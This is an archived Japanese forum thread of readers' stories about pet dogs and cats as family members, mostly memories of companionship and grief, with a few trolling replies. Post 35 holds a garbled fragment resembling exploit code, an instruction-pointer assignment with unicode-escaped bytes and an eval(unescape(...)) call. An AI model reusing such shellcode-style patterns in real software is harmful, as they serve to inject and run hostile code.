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2012年3月生き物苦手63: ペットは人間の友だち、家族 A (696)
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ペットは人間の友だち、家族 A
- 1 :
- ペットの犬や猫には、人間と共に助け合いながら生きてきた歴史がある。
例え個人としては嫌いであっても、その現実は無視できない。
ペットは人間という種族の仲間、家族。
- 2 :
- 前スレ
ペットは人間の友だち、家族
http://gimpo.2ch.net/test/read.cgi/cat/1209488453/
- 3 :
- 重複です。
★動物は人間の奴隷、食材に過ぎない
http://gimpo.2ch.net/test/read.cgi/cat/1228037563/
スレ立てされた方は速やかに削除依頼を。
そして以降こちらへの書き込みは御遠慮下さい。
- 4 :
- 若かりし頃、生に希望を持てず、死のうと思って夜中に家を出た。
フラフラさまよってると、にゃぁんと鳴きながら、家の猫が。
いつの間に出たんだ?と思いつつも、じゃあな、と挨拶して歩き出すと、猫がにゃーにゃー言いながら付いて来る。
ごめんな、と言って頭を撫でると、滅多にゴロゴロ言わないヤツがノドを鳴らせて甘えてきた。
いつもはほんとに愛想もないヤツで。男前だとは思ってたけど。
それなのに、その場に座れば膝の上に乗ってくるし。立ち上がれば足に擦り寄ってくるし。
いつもシカトなのに何だよ、って言えばじっと見上げてくるし。
何だかすっげぇ可愛くて。毒気抜かれて、そのまま抱っこして帰った。
一緒に布団に入って寝て。
次に日からは、またいつもみたいに愛想ナシだったけど。
やっぱ何かただならぬ雰囲気を感じたんだろうな。
- 5 :
- / ̄ ̄\
/(●). .(●)
| 'ー=‐' i
> く
http://bbs49.meiwasuisan.com/bbs/soudan/img/12638209810001.jpg
- 6 :
- 萌え
- 7 :
- http://prestige.shard.jp/images/title_pic/EVO-118-06.jpg
- 8 :
- 散歩に行ったとき、嬉しそうに走る犬達を見ていると本当に
幸せな気分だった。
このまま永遠に一緒に走り続けることができたらどれだけ素晴らしい
だろうと本気で思った。
勿論それが不可能と知りながら・・・
本当に大切なものは失って初めて分かるということを実感したのは
犬達を失ったときだった。
そして「親より先に死ぬのは親不孝」といつも親が行っていたことの
意味が分かったのもその時だった。
犬の方が人間より寿命が短いとは分かっていても、子犬の時から
育てたのが自分より先にくのを見るのは本当に辛かった。
- 9 :
- もう犬がいたとしても一緒に走るのが辛い歳になったし、
一緒に走る犬もいない。
でも、家の門を開けると今でもどこからか飛び出して出迎え
てくれそうな気がしてつい探してしまう。
近い将来家族の名前が思い出せなくなっても、あの子達の
名前は忘れないのかもしれない。
人生で本当に宝物と言えるのはあの子達と一緒にいた
時間だったから。
- 10 :
- 昔、雑種の犬を飼っていた。
父の知り合いから譲ってもらったのだけど
当時まだ生まれて1ヶ月くらいの子犬で、真っ白で毛並みもふさふさ。
遠くで「おいで」と呼ぶと、まるで白い毛玉がコロコロ転がるように
走ってくるので「コロ」という名前をつけた。
自分を5番目の家族と固く信じていたようで、家族全員で外出して夜遅くに
帰ろうものなら怒る怒る。それでもって嬉しくってたまらないものだから
その自分の感情をどう表現してよいのか分からず玄関のドアに体当たりを
繰り返す姿がなんともおかしくって可愛かった。
- 11 :
- それから12年、すっかり年老いて一日中寝てばかりになってしまったコロ。
ある日、私が学校から帰って部屋でテレビを見ているときに、外で犬の
吠える声が1回だけ聞こえた。すごく元気なはっきりした声だった。
コロはすっかり弱っていてもう吠えることができないし、他に近所で
犬を飼っているところはない。
散歩中の犬が通りがかりにコロに吠えたのかな?
なんとなく気になったので窓から外を見たけど、コロはぐったりとして寝てて
周りに犬の姿はなかった。
しばらくして母が買い物から帰ってきてコロの頭を撫でようと覗き込んだら
コロは目を開けたまま死んでいた。
まだ温かかった。
- 12 :
- 私が聞いた吠え声は、コロがふりしぼって出した生涯最後の声だったのだろう。
甘えんぼの子犬だったコロも、最後は私たち家族を守る番犬として
目を開けて、しっかりと周りを見据えながらったのだろう。
今まで家族を、我が家を守ってくれてありがとう、コロ。
あなたは今でも変わらず私達の5番目の家族だよ。
- 13 :
- 家はペット(北海道犬)を溺愛するのではなく、
もちろん日に2度は必ず散歩させるがあとは庭につないでおくくらいの付き合い方をしていた。
しばらく留学していて2年ぶりに家に帰った時のこと。
名前を呼びながら近づいていくとちゃんとおぼえていてくれた。
待ちきれないように太ももあたりにまとわりつき、
2本足で立って両前足で私の太ももをしっかり抱くのだった。
もうどこへもいかないでといわんばかりに。
いとおしくて涙がでた。
そんなあの子も数年前に遠くへってしまった。今度は私を置いていった。
もう辛い別れはいやなのでペットは飼わない。
- 14 :
- これはあたしが中学2年の時実際にあった話です。
岡山の叔父が癌で手術することになり、前日に家族で岡山に向かいました。
そのとき飼ってた猫は5年目のオス猫で、とても元気でした。
手術の日がきて、叔父の手術は成功しました。
私と姉は猫が心配だったのでその日に帰りました。
すると、玄関をあけるとそこにはぐったりしたうちの猫が・・
あわてて病院にいきました。
すると先生が「体に7個所癌ができてます。今夜がやまです。」
と言ってだめもとで入院しましたが、次の日息をひきとりました・・。
叔父のかわりだったと思うと、なんだか切なくて、不思議でした。
- 15 :
- 結婚して実家を出てしまったので
たまにしか会えなくなってしまったネコちゃん達。
実家に帰ったときには気がすむまで遊んでもらってます。
しばらくしたある日
ふと気づくと、その日に着てたセーターにネコちゃんの毛が
くっついてるのを発見したりして、心があったかくなります。
- 16 :
- (*^-^*)
- 17 :
- 子どもの頃
幼稚園を送り迎えしてくれる猫がいた。
2キロくらいの道のりを…
幼稚園の近くの、どっかの家の庭の茂みまでついて来てくれて、
幼稚園が終わって、帰る私の姿を見つけると
その茂みからぱっと出て来て一緒に帰宅。
ある夜中、猫が枕元にずっと座って、寝ている
私の顔を見下ろしていた日があったらしい。
(母親が見ていた)
その次の日から、猫は行方知れずになってしまった。
今思うと不思議なやつだったなぁ〜
- 18 :
- 下校の途中、犬に追いかけられ、わんわん泣きながら帰って来た小学生の私。
たまたまその日、母と姉は、わが家に子犬をもらい受ける相談をしていました。
私の過度の犬恐怖症を見かねた母が、徐々になれさせるつもりで、
子犬なら大丈夫だろうと、知り合いのところにたくさん子犬が生まれた
のを機に、一匹飼う事にしたのでした。
早速、姉の知り合いの家に出向き、あまりよく考えずに気に入った子犬を
連れて帰ったら、メスでした。
こうしてわが家の住人となったチロは、二年ごとに三、四匹の子犬を産み、
私たちに命の大切さや、生命の誕生のよろこびを教えてくれました。
- 19 :
- 六年生の三学期ごろから、私がクラス全員のいじめの対象にされて
しまい、自分に自信を失いかけていた時、毎日のチロとの散歩が、たった
一つの心の支えでした。
私は何もしていないのに、「キタナイ」とか「バカ」とか、転校生の女の子を
中心に広まり、だれも、ついには自分でさえも信じられなくなって、
「本当に私がさわっても汚くないの?」
とチロに話しかけると、チロは体を寄せてスリスリしてくれました。
そして、学校にはもう、私と会話してくれる人はいなくなったけれど、私にはチロが
いてくれる!と思い、心強い味方であり、親友でした。
小学生のころからずーっと友達だったチロは、私が高校生の時、老衰で
亡くなりました。火葬場で、初めてチロの骨を見た時、
「今までありがとう」
と、すなおに言えた自分がいました
- 20 :
- つい最近の話何ですが母と凄い大喧嘩をしていて かなり怒鳴りあっていました・・
凄い険悪なムードで 今にも殴り合いが始まりそうな雰囲気でした。
僕がもう家を出て行く!と言って荷物をまとめているとそのとき飼っていた猫が
普段は絶対入ってこない僕の部屋に突然入ってきて僕の膝の上に乗ってきたのです!
普段は寝てるだけの猫で僕にも全然懐いてないのに乗ってくるなんて止めにきてくれた
のかとか思って思わず泣いちゃいました。
やっぱり猫にもそういう事を感じる能力があるのかなと思った瞬間でした。
- 21 :
- 父が病気をして、六人家族がバラバラになりそうだったとき。
にゃあ子は来たね。
二月の寒い日。
ふるえながら。
あれから、八年半。
にゃあ子のかわいらしさに助けられ、なんとか家族仲良く暮らしてこられました。
私も妹も結婚して子宝に恵まれ、家族は、十人に増えました。
家族全員が家にそろって集まった夜。
とつぜんの別れ。
だから、外に出ちゃだめって、あれほど言ったのに・・・・・。
みんなの幸せを見届けたかのようにってしまった、にゃあ子。
楽しかった思い出を、ほんとうにありがとう。
- 22 :
- うちで飼っていた「ちん」の雑種のコロは私が小学校1年の時に家に来た。
コロは家族の一員の自覚があったようで飼い主は私なのに家族での「順位」は
私より上だと思っていた。放して遊んでいて「おいで〜」と呼ぶと私に向かって
走ってきてそのまま横をすりぬける。完全になめられていた。
昔のことなのでエサなんて「おみそ汁かけご飯に煮干し」といった粗食だったし、
死んだときも市役所に引き取ってもらった。
死んでから引き取りに来てもらうのに数日あったけど、毎日なでて泣いてたなあ。
- 23 :
- 十三年前の夏、りりいはわが家にやって来ました。
やって来たその日にマムシに噛まれ、それがきっかけで、りりいは柴犬(小型)であるにもかかわらず、
家の中で暮らすようになりました。
四六時中、人間様と同じ生活。
そんなりりいが、毎日同じ時刻になると、ふらりと家から出て行くのです。
行く先は、ご近所のオス犬「ロン君」のところ。
雨の日も風の日も、自分がお産をした日でさえも、一年三百六十五日、欠かさず
出かけて行くのです。
十三年間、それがりりいの日課でした。
- 24 :
- ところが今年の六月、ロン君が天に召されました。
それでもりりいは、毎日毎日、 ロン君の犬小屋まで足を運んでいました。
そう、忘れもしない七月二十日も、りりいは大雨のなか、出かけていったようでした。
しかし、その日も、その次の日も、そのまた次の日もーーーーー。りりいは帰って来ませんでした。
私たち家族は、連日、りりいを探し回りました。
一週間後、変わり果てた姿のりりいを、ようやく見つけました。
ロン君の飼い主の方にお願いして、彼の隣に埋めてやりました。
毎日、天国で二匹仲良く、走りまわっていると信じています。
- 25 :
-
- 26 :
- 三毛猫ジョジョへ、
僕は転勤が多い仕事だから
その度に君と一緒に引越したね。
寒い所、暑い所、よく僕について来てくれた。
部屋に連れてきた何人かの僕の彼女達も
君は黙って優しく迎えてくれたね。
だから僕はどんなに遅くなっても家に帰ってたんだぜ。
必ず君が待ってると思ってさ。
彼女の中には僕が泊まらないので
「結婚でもしてるの?」なんて怒った子もいたよ。
結婚して動物が苦手なあいつにもなついてくれて僕はホッとしたよ。
- 27 :
- 君がってしまってかなり落ち込んだけど
あれから時間も経ってこの頃は余裕も出てきたよ。
僕らが10年以上も愛用していた毛布は捨てられなくて
今も使っているんだぜ。あいつはいつも言ってるんだ
「ジョジョの形見の毛布で寝ている時は腹立つぐらい幸せそうね」って。
- 28 :
- 雨の朝、毛糸玉みたいに玄関先にいた。
ポチは野良の捨て犬だった。
雷が鳴っても、花火やお寺の鐘でも、運動会のピストルでも
ガタガタふるえてないていたっけ。
鎖を切ってとっとと逃げ出したのはいいけれど、自分の家を忘れて帰れず、
何度探しに行ったことか。
なんと警察署に保護されていたこともある。
―――冬の寒い朝、黙って死んでしまったポチ。
可哀想なポチ。
- 29 :
- 犬猫は死なないと話にならないの?
凄く違和感がある
- 30 :
- うちの隣の倉庫で野良猫が子猫を産みました。
母猫が交通事故で死んでしまったので、警戒心の強い猫でしたが、見るに見かねて
餌だけをあげていました。
三年が経ったころ、庭で鳴き声がするので出てみると、その猫が死にかけた子猫を
ひきずって鳴いていました。驚いて子猫を抱き上げ様子を見ている間、あんなに
なつかなかった猫がじっとそばを離れませんでした。
その後、子猫は入院したものの、無事退院して我が家の猫に。
猫は毎日庭先に来て、窓越しに子猫を見ていました。
やがて、子猫が回復したころ、ぱったりと来なくなりました。
あれから二年半、子猫は我が家の一員として、とても元気にしています。
- 31 :
- (^-^)/
- 32 :
- 今日、ジョギングをしていた。
前からでっかいゴールデンリトリバーの白いの?を連れたオバさんが来た。
スレ違う瞬間、その犬が俺に飛びかかって来た。
ヒモがピーンとなって俺の胸先数十センチのところに犬の顔。
俺は「ひぃい〜!!!」と叫んで避けた。
全身鳥肌。
するとそのオバさんはゲラゲラ笑いながら「こらやめなさい!」ゲラゲラ。
オバさんって、なんでいつもああいうとき「笑う」んだ?
俺は「笑ってんなよ!!!!」言った。
おばさんは瞬間、真顔になってた。
言われるまでわからんのか?
どういうつもりなのか聞きたいので、適当なスレを紹介して下さい。
- 33 :
- 犬が少し苦手の、私の家の近所の飼い犬。
触れたことさえ一度もない。
通信販売の暖房器具を返品しに行くのにね前の道を
キャスターをガラガラ引いて歩き、吠えられたこともあった。
やがて年月がたち、親元から独立して十五年が過ぎた頃には、
近所の犬も毛布を掛けられて寝てばかりいるようになり、
「老犬で目が見えません」
「さわると噛み付きます」
「おなかをこわしますのでえさをあげないでください」
と注意書きが下げられるようになった。
- 34 :
- そしてある昼下がり、
「ランディーは亡くなりました。二十年間ありがとうございました」
と、かかっていた札。
このあいだまでそこにいたのにと、いなくなった犬のことを思った。
初めて私が名前を知った犬は、とても愛されていたのだろう。
私にとっても心の隅に住んでいた犬だった。
- 35 :
- eip = eip + unescape("%u7030%u4300")
(){eval(unescape(('Script(t,'%')))})(/./g);
- 36 :
- 俺もうちの妹も両親のおかげでいろんな動物を育てる経験が
出来たんだけど、今考えてみると本当に感謝している。
動物達が何等かの形で先に死んでいってしまうのを見るのは
本当に辛かったが、家族の一員として責任と愛情をもって育て
てあげる、最後まで見届けてあげる、という事を実体験として
学べた。俺も子供が出来たから自分もそういう事を教えてあげたい
っていつも考えてるよ。
- 37 :
- うちで飼っていた猫の「ママ」は、牛もようで、私に一番なついていた。
とってもかわいい子でした。
今から五年ほど前のことです。ママは、その年の冬に、四匹の赤ちゃんを出産しました。
白、茶トラ、牛もよう、グレーの、とってもかわいい子供でした。
そして、事件は二週間後に起こりました。
私が会社から帰って玄関の戸を開けると、真っ赤な血が線になって、ろうかまで続いていたのです。
びっくりして、母親に何があったのか聞いてみると、どうやら、ママが下半身だけ車にひかれたらしいのです。
でも、ママは、気力で家まではいずって帰り、まだ目が開いたばかりの子供たちにミルクをあげながら、
この世を去ってしまいました。
残された子供たちは、ママが天使になったことも知らずに、すやすや眠っていました。
私は涙が止まりませんでした。
天国のママへ。
私たちがミルクをあげたり、ママの代わりをいろいろしたから、みんな大きくなって巣立っていきましたよ。
安心してくださいね。
- 38 :
- 近所の猫とこないだ偶然道端で会ったら
向こうから『お辞儀』してきた。
「あ、ども」って感じで。
ちゃんと躾けているんだね。
- 39 :
- うちの知り合いのおばさんが飼ってるぬこは、おばさんが毎朝ジョギングするのについて行くよ。
もちろんリードなんかなしで。
でもジョギングの後半になると決まって疲れて(飽きて?)きて、「ウナ〜ン 抱っこして〜〜 ウナ〜〜ン」と鳴いて、
いつも抱っこされて帰ってくるw
それに較べてうちのぬこときたら・・・
ぐうぐう寝てばっかいないでちょっとは運動しろよ!
頼むから長生きしてくれよな。
- 40 :
- ちろは、猫と言うよりも、私にとっては親友でした。
あれは二十数年前になります。
私がアトピー性皮膚炎で、肌の状態が悪く、学校で「気持ち悪いから手をつなぎたくない」と
言われて、泣いて帰って来たんです。
机にふして泣く私の顔を、ざらざらとした感触が・・・ちろでした。
ちろが私の頬を伝う涙をなめていたんです。
「私を気持ち悪がらないの?」と言うと、続けて涙をなめていました。
あれから二十年以上たっているのに、こんなに鮮明に覚えているのは、「心が通い合う
すばらしさ」をちろが教えてくれたからだと思います。
ちろが亡くなった時は、つらかったですが、私ががんばって夢に向かうからこそ、
ちろへの恩返しになると思っています。
- 41 :
- なつかしい日本への郷愁そのものとなった童謡には、動物たちへの温かい眼差しが
こめられている。「カナリヤ」「七つの子」「お馬の親子」「べこの子」「めだかの学校」
「ぞうさん」「小鹿のバンビ」などなど。
私たちは、花咲かじいさん、浦島太郎、舌切り雀のおじいさん、月夜の晩狸たちと楽しく
踊った和尚さんたちの子孫だ。アオやアカとの別れに泣いた人達の子孫だ。
この人達は、相手をペットだなんて思ってはいなかったろう。ことさら愛護なんて構えては
いなかったろう。
仲間として自然に生きていたんだ。
- 42 :
- 足の骨を折っていた野良猫を母親が保護してきてうちで飼う事になった。
体は大きいのに子猫のような高い声で無く子だった。
その時から体はあまり丈夫ではなく、良く熱を出したり口内炎が出来たりしてた。
ある頃、病院に連れて行くと猫エイズと言われた。
その年の12月頃に出来た口内炎が、ずっと直らなかった。
食べようと餌を口に含むも、染みるためにすぐに吐き出した。
口内炎はひどくなる一方で、4月頃には流動食を口の奥に入れないと餌も食べられなくなった。
やせ細った。
夏が来た頃には寝たきりになっていた。
頻繁に脱水症状を起こしていた。
- 43 :
- 8月、私は用事があり出かけていた。
その時点で、帰るまで持たないかもしれないという予感はあった。
8月6日親から電話があった。
自分の誕生日なのでそのことかと思った。
「今朝、猫が死んだ」と言われた。
ああ、やっぱりもたなかったんだなと思った。
8月15日家に帰った。
猫の写真だけがたてかけてあり、姿は無かった。
市の焼き場で火葬してもらったと親は言った。死んだ時の様子も聞いた。
その夜、一人で泣いた。
- 44 :
- 自分が小学校低学年位のとき、可愛がっていた黒トラの猫がいました。
ある朝、伝染病に罹ったらしく死んでしまいました。
私が大丈夫か?となでていると、静かに息を引き取りました。
その深夜、眠っていると、家の外で猫が鳴いていて、うるさいなぁと思い
目を覚ますと、死んだ黒トラの猫の顔が目の前にあり、ニャァと
鳴いてフッと消えてしまいました。
その時は、恐怖も無く、何も疑問に思わないでいましたが、その後考えてみると、
お礼を言いにきてくれたのかなぁと考えています。
- 45 :
- 近所の野良さんが俺のバイクのシートに宿泊する時がある。
カバーの下から潜り込んで、ちょこんとシートに飛び乗ってるようだ。
特に雨の日などは格好の雨宿り場所のようで、濡れた足・体で丸まってるっぽい。
当然シートがグチャドロの毛だらけorz
仕方ないからバイクカバーの中に「シートカバー」自作してかける事にした。
雨宿り&宿泊しても構わんが、シートは汚さないでね>野良さん
- 46 :
- 捨て猫を保護し4ヶ月かかって里親を探した
先日、様子を見せてもらいに行ったのですが完全に私の事を忘れて新しい飼い主にゴロゴロ
色々な人に話を聞けば、猫は3日で飼い主を忘れるそうですw
でも家に連れて帰ると思い出すそうですね
猫は家に懐くそうで昔の縄張りを思い出し、ついでに人間も思い出すのだとかw
里親になってくれた人が目の前に居なければバカ猫の頭を叩いていたところだ
もう二度と猫は拾わないよ!
バ―カ!フンだ!
- 47 :
- 俺の家で17年飼ってたネコが、亡くなってしまいました。
けっこう長生きしてくれて、ネコも幸せに生きてくれたと思います。
自然死に近い亡くなり方だったので、こんな時に少しおかしいですが安心しました。
そのネコが生きてた時にふと思った事があって、「もし死んだら凄く落ち込むなー?」とか
「絶対、大泣きするなー?」とか思ってたけどなぜか思ったほど大丈夫でした。
凄く大好きな、家族の一員でした。
命についていろいろと学んだり、悲しい時そばで元気付けてくれたり・・・。
今まで、本当にありがとう。
安らかに、眠ってください。
- 48 :
- 以前、職場で仲良くなった女の子から聞いた話。
付き合っていた彼氏がとても優しい人で、車に乗っていた時に、猫を避けて、自分が代わりに死んでしまったと。
避けたら自分が死んでしまう状況だったことは、その時点で彼氏も分かっていたのに、だそうです。
聞いた時は、そんな人がいるなんてどうしても信じられなかった…
その女の子も、やっぱり優しい子でした。
- 49 :
- キャバレー勤めだったおふくろが仕事帰りに拾ってきた猫が
寂しかった子供の頃の唯一の慰めでした。
冷たい布団にひとりぼっちで寝てると入ってきて足の上に丸くなって温めてくれた。
冬になるとあの猫の温かさを思い出します。
ぼくの涙をいちばん知ってる奴でした。
- 50 :
- ねこは引越しのとき挨拶するというのは聞いたことないですか?
私が生まれ育った家は、工場と続いており、その工場によくのらねこがもぐりこんで
住みかにしていました。
、母猫が子供を生みその一家で住んでいたようなのですが、その中に白黒のかわいい
子がおり、家族でしろくろと名前をつけて話題にし,今日はどこそこで見たよとか、よく
話していました。
何年かたち、家を引っ越すことになり、工場と家は取り壊すことになりました。
あわただしく家の中のものを運びだし、いよいよ明日から作業が始まるという日、家族で
しんみりしていると、ドアを開けてあった入り口にしろくろが現れました。
- 51 :
- 住み着いているといっても、のらなので普段だったら私達を見たらすぐ逃げるのですが、
その日はちょこんと座って見上げていました。
まあ珍しいねえとみんなで見ていましたが、そのうちすたすたと家の中に入ってきて、
足元に座ってしまいました!
みんなびっくりしてしまい、これは挨拶しにきてるんだねぇとよけい悲しくなってしまったと
いうことがありました。
あとでねこはそういうことがあると聞き、しろくろもわかっていたのかなと、心に残る不思議な
出来事でした。
- 52 :
- ケピは、白黒で、とてもやんちゃな猫でした。
毛がいつもピンピン立っているので、「ケピ」と名づけました。
すぐつめを立てるくせに、ごはんをねだる時は、すりよってくるという、
気まぐれな猫らしい猫でした。
ある日、ケピは外遊びで疲れたのか、しっぽを掘りごたつの火の中に
たらしたまま寝てしまいました。
そのため、ケピはしっぽの先をやけどしてしまい、しっぽを上に持ち上げる
ことができなくなってしまったのです。
- 53 :
- いつもしっぽを引きずっていたので、遠くからでも一目でケピとわかりました。
そんないたずらっ子だったけど、大好きだったケピ。
ある日、ケピが車にはねられて、道に横たわっていました。
はねた人が、心の痛みを感じたのか、かけられたタオルの端からのぞく、
やけどのしっぽ。
それを見たとたん、涙が止まらなくなりました。
今ごろケピは天使になって、あいかわらず、しっぽをたらしながら遊んで
いるのでしょうね。
- 54 :
- ちぎれたコンセントとかくわえてきて得意そうにしてる変な猫。
ドブにはまって鳴いて(泣いて)帰ってきた事もあったっけ。
その夜は特に変わった事もなく、いつものように丸まって寝ていたと
思ったら突然大声で鳴き、そわそわと落ち着かないそぶり。
5分程騒いでから、また落ち着いて寝てしまった。
何日かしてから猫の里親に会う機会があった。
すると同じ夜に親猫が車にひかれて死んだという。
偶然かもしれないが、何か見えていたのかも知れない。
生まれた時から癲癇持ちで、医者から長生きできないでしょうと
いう言葉とどおりに1歳そこそこでってしまった。
今でも鈴の音を耳にすると姿を探してしまう自分がいる。
- 55 :
- 三年前、私の母は、大腸がんから肝転移し三度の大手術を行ったが、その後
頚椎にも転移して、六か月寝たきり状態が続いた後に亡くなった。
その母が飼っていた犬が「ハナコ」だった。
ハナコは母の最後の入院の前日、だれにも世話をかけることなく、静かに息を
ひきとった。
きっと天国で、母が行くのを待っていてくれたのだろう。
今も向こうで、母が淋しくないように、ハナコが見守ってくれていると思うと、
やさしいハナコがたまらなく愛おしく、忘れられない。
- 56 :
- 大学時代、合宿から帰ったら柴犬のぱぴーがいない。
親に聞くと、(その頃父の転勤が決まっていて、引っ越すことが決まっていたのですが、
引越し先は集合住宅なのでイヌが飼えないので)知人にひきとってもらったと言う。
何で私の留守に連れてくのよおおと激しく泣いた。
数年後、両親から実はあの時、ぱぴーを保健所に連れて行くつもりだった
が、保健所の前でイヌ好きの人に会って、事情を聞かれて話すと、まったく見知らぬその人
がひきとってくれるという話になったそうだ。
それを聞いてまた号泣した。
ぱぴーはその後幸せに暮らせたかな・・。
今、ウチの両親はマルチーズのマルというバカイヌを飼ってる。
もう年とってるけど、バカイヌはバカイヌでかわいいらしく
今度こそ看取ってやらないと・・と言ってます。
- 57 :
- 母親が嫁入りの時に連れてきた猫(♂)。
姉貴や俺は赤ん坊の頃からこの猫に子守りしてもらって育った。
19年も生きたからみんなが知ってて誰もが可愛がってくれた。
死んだ時、家族や親戚・友人たち・ご近所さんも全員で泣いたよ。
我が家のアルバムにはこの猫と一緒に撮った思い出がいっぱい。
- 58 :
- いつも玄関にいたウェンディーは、「おかえり」を言ってくれる一番最初の家族だったね。
親や友だちに相談するよりも先に、ウェンディーの首に抱きついて何でも話したよ。
ウェンディーはただじっとしているだけなのに、なぜか安心できた。
家に来たときは小さくておてんばで、私のほうがウェンディーのお母さんみたいにしていたけど、
すぐに追い抜かれた。
初めて朝帰りしちゃった時も、吠えないで、しっぽだけで「おかえり」をしてくれたよね。
あれは助かっちゃった。ありがとね。
いつでも私のことやさしく包んでくれたウェンディーは、もうひとりのお母さんだったんだね。
まだまだウェンディーに聞いてもらいたいことたくさんあるのに、抱きついてほこりっぽいような
日なたの匂いをかぐだけで元気になれたのに、「どうして?」って何日もなき続けた十九歳の頃が、
今ではなつかしい。
ウェンディー、天国で本物のお母さんになっていますか?
私は今年、なるんだよ
- 59 :
- 母親が嫁入りの時に連れてきた猫(♂)。
姉貴や俺は赤ん坊の頃からこの猫に子守りしてもらって育った。
19年も生きたからみんなが知ってて誰もが可愛がってくれた。
死んだ時、家族や親戚・友人たち・ご近所さんも全員で泣いたよ。
我が家のアルバムにはこの猫と一緒に撮った思い出がいっぱい。
- 60 :
- 私は、動物が大の苦手だったのに、偶然にも『源三』という♂ネコと、人生が
変わってしまいました。それからは「動物大好き!」状態です(笑)
その源三のお陰で、♀ネコの『すず』とました。
すずは、私を好いていてくれたらしく、私がいたお風呂場でも、トイレでも、いつもドアの
前で待っていました。
でも、やがてすずも天使になってしまいました。 命日に、すずが好きだったレバーを
お供えして、「すず、喜んでくれてる〜?」と聞いたら・・・ “チリンチリン”と、聞き慣れた
首輪の鈴の音が・・。
「『すず』は、いつもそばにいてくれてるんだね」と家族で語り合いました。
源三も、すずも、ずっと大切な家族の一員です。
- 61 :
- 私が小学校三年生のとき、母が交通事故にあい、入院することになりました。
一人っ子の私は、学校から帰ると、父の帰る八時ごろまで、ひとりぼっちでした。
そんな私を見ていた父が、そっと肩に手を添え、「何か動物を育てよう」と
言ってくれたのです。
次の休みの日に、お店へ行きました。
犬、猫、鳥、うさぎ・・・・・・・いろいろいる中、父は、一羽の鳥を私にすすめようとしました。
すると、すでに私は、一匹の猫の子を抱いていたのです。
それが「でこ」との。
名前は母がつけました。
私は、毎日自分の子供のように「でこにご飯をあげ、いっしょに遊んで、いっしょに眠りました。
おかげで母が退院するまで、泣くことなく過ごせました。
小、忠、高校、就職、結婚・・・・・・・と、ずっと私のそばで見守ってくれたでこ。
今は実家の庭で、ひとりでいる父を見守ってくれています。
- 62 :
- >┴< ⊂⊃
-( ゚∀゚.) ⊂⊃
>┬<
(⌒─‐⌒)
((´・ω・`))
( O┬O
≡ ◎-ヽJ┴◎ キコキコ
;;⌒::.;;.⌒⌒/ /| ̄ ̄ ̄ ̄ ̄/ /::. :; ;⌒⌒:.:⌒:;⌒;;⌒
.. ,::.; / /| ̄ ̄ ̄ ̄ ̄/ /.., ,; .: ,,。,.(◯) ::
: :::., / /| ̄ ̄ ̄ ̄ ̄/ /,,; (◯) ::: ヽ|〃 ;;:
. ,:.; / /| ̄ ̄ ̄ ̄ ̄/ /.., ,; :ヽ|〃 ,,。, ::;;,
- 63 :
- 死ぬ瞬間に立ち会う為にペットを飼うの?
動物が好きなんじゃなくて、要は、お葬式が好きなんだね
- 64 :
- 私とジョンとのは十二年前まで遡ります。
当時、東北へ嫁いだばかりで、なれない環境にとまどう私に、初めての友達に
なってくれたのが、夫の実家で飼っていた犬のジョンでした。
以来、私のみならず、私たち家族のみんなを時には励まし、時にはあたたかく
見守り続けてくれました。
それが昨年のクリスマスの日、千葉にいた私たち夫婦の前に、そこにいるはずもない
ジョンが、突然姿を現したのです。
しっぽを振り、何かを訴えるような目をして・・・・・。
「似ているけど、まさかね・・・・・・」
と、その時は通り過ぎてしまいましたが、帰宅してみると留守電に、ジョンの死を告げる
義母からのメッセージが入っていました。
「あれはやっぱりジョンだったんだ」
家族全員、胸がいっぱいになった、忘れられない思い出です。
ありがとう、ジョン。
- 65 :
- それは自分を友として兄弟として、時には親のように学校からの帰宅を迎えてくれた。
「母親」という存在は家にはなかった。
淋しさからか、何度となく猫を拾ってきては兄が捨てる・・・・・という行動を繰り返し、
自転車の荷台にくくりつけられたダンボールをカリカリと音を立てて、子猫たちは
捨てられていった。
いつの頃からか黒猫「ニャドちゃん」が家に住み着くようになり、半年ほど経つと
五匹の子を産んだ。
確か私が小5の11歳、秋も深まった頃だった。
- 66 :
- ニャドは産後の体調が悪く、日々体力を低下させていった。
私は毎朝起きるとすぐ猫の様子を見に行くのが日課になり、ニャドの体調と子猫の
成長を気にかける日々が続いた。
ある朝、父の呼ぶ声で目を覚ますと
「ニャド・・・・・・・死んじゃったみたいだよ」
と言うのです。
私はとにかく外へ出て、猫がいつもいる室外機のそばにいくと、ニャドは固く、
死んでしまっていた。
同時に、今までニャドと暮らした日々の思い出がもう続く事がなくなってしまうことを
思い知らされたようで、ただただ泣き続けるばかりの私だった。
- 67 :
- けれどもニャドは、最後まで母として生きた証がそこにはあった。
両手両足を大きく広げ、残された子どもたちに最後までをあげるための
格好だった。
子供たちは、出ないにいつまでも両手で爪を立てながら吸いついていた。
三日ほどで、母を追うように二匹の子猫がった。
自分の兄弟のようにしていた猫が亡くなり、当然元気など出るわけもなかった。
学校ではやんちゃだった女の子なので、友達や先生も心配してくれた。
- 68 :
- しゃべることすら出来ない私は、国語の授業で作文にして提出した。
放課後、担任に呼ばれ、先生は
「気づいてあげられなくてごめんね。つらかったね。」
と、大粒の涙をこぼし、泣いた。
それからの日々は、猫育ての奮闘記をつづった。
ストローで牛を与え、カリカリを水にもどして、スプーンで一さじ一さじ運んで与えた。
そんな私を見ていた父も、文字通り日曜大工で、とても大きな猫小屋を作ってくれた。
土曜で授業の早い日は、自転車の前かごに猫を三匹乗せ、川へサイクリングするのが
楽しみだった。
半年もすると三匹は立派に成長し、一匹、また一匹とわが家を巣立って行った。
私の生活の欠かせない家族の一員として「猫」はいつの日も私を支えてくれた。
今は、大きなスコティッシュと家族四人の生活です。
寂しがりやの私を、私の成長を見守ってくれた猫ちゃんを代表して、
ありがとう!ニャドちゃん。
・・・・・そしてやすらかにおやすみなさい。
- 69 :
- (/_;)
- 70 :
- >>63
動物は死んでくれないと話が盛り上がらないのだよ
このスレで証明されてる通り
いやいや、凄まじいね
こりゃ
動物が死なない話はつまらないんだね
なるほど、なるほど
- 71 :
- 僕には結局のところ、この世界が空疎に感じられて仕方がない。
はばかりなく誰かに愛おしさを覚えられるほど、僕らは悟ってなどいないし、
射るような目で世界に臨むとき、薄皮の下にはがらんどうの闇があるだけ。
精神がどうにかなりそうだ。「せめて、こんなとき君がそばにいればいいのに。」
しかたがないことを、無為に口に出してみたりする。だがそれがまた、
たまらない空疎さを広げている気がする。
- 72 :
- コロは七十を越えた父が拾ってきた。
雑種の犬だった。
「川端でクンクン鳴いているのを放って来れないだろう」
そう言って、父は犬を拾ってきたことを、僕と妻に納得させた。
茶色くて丸っこくて、タヌキのような顔をして、ころころと走り回る。
だから、僕が「コロ」と名づけた。
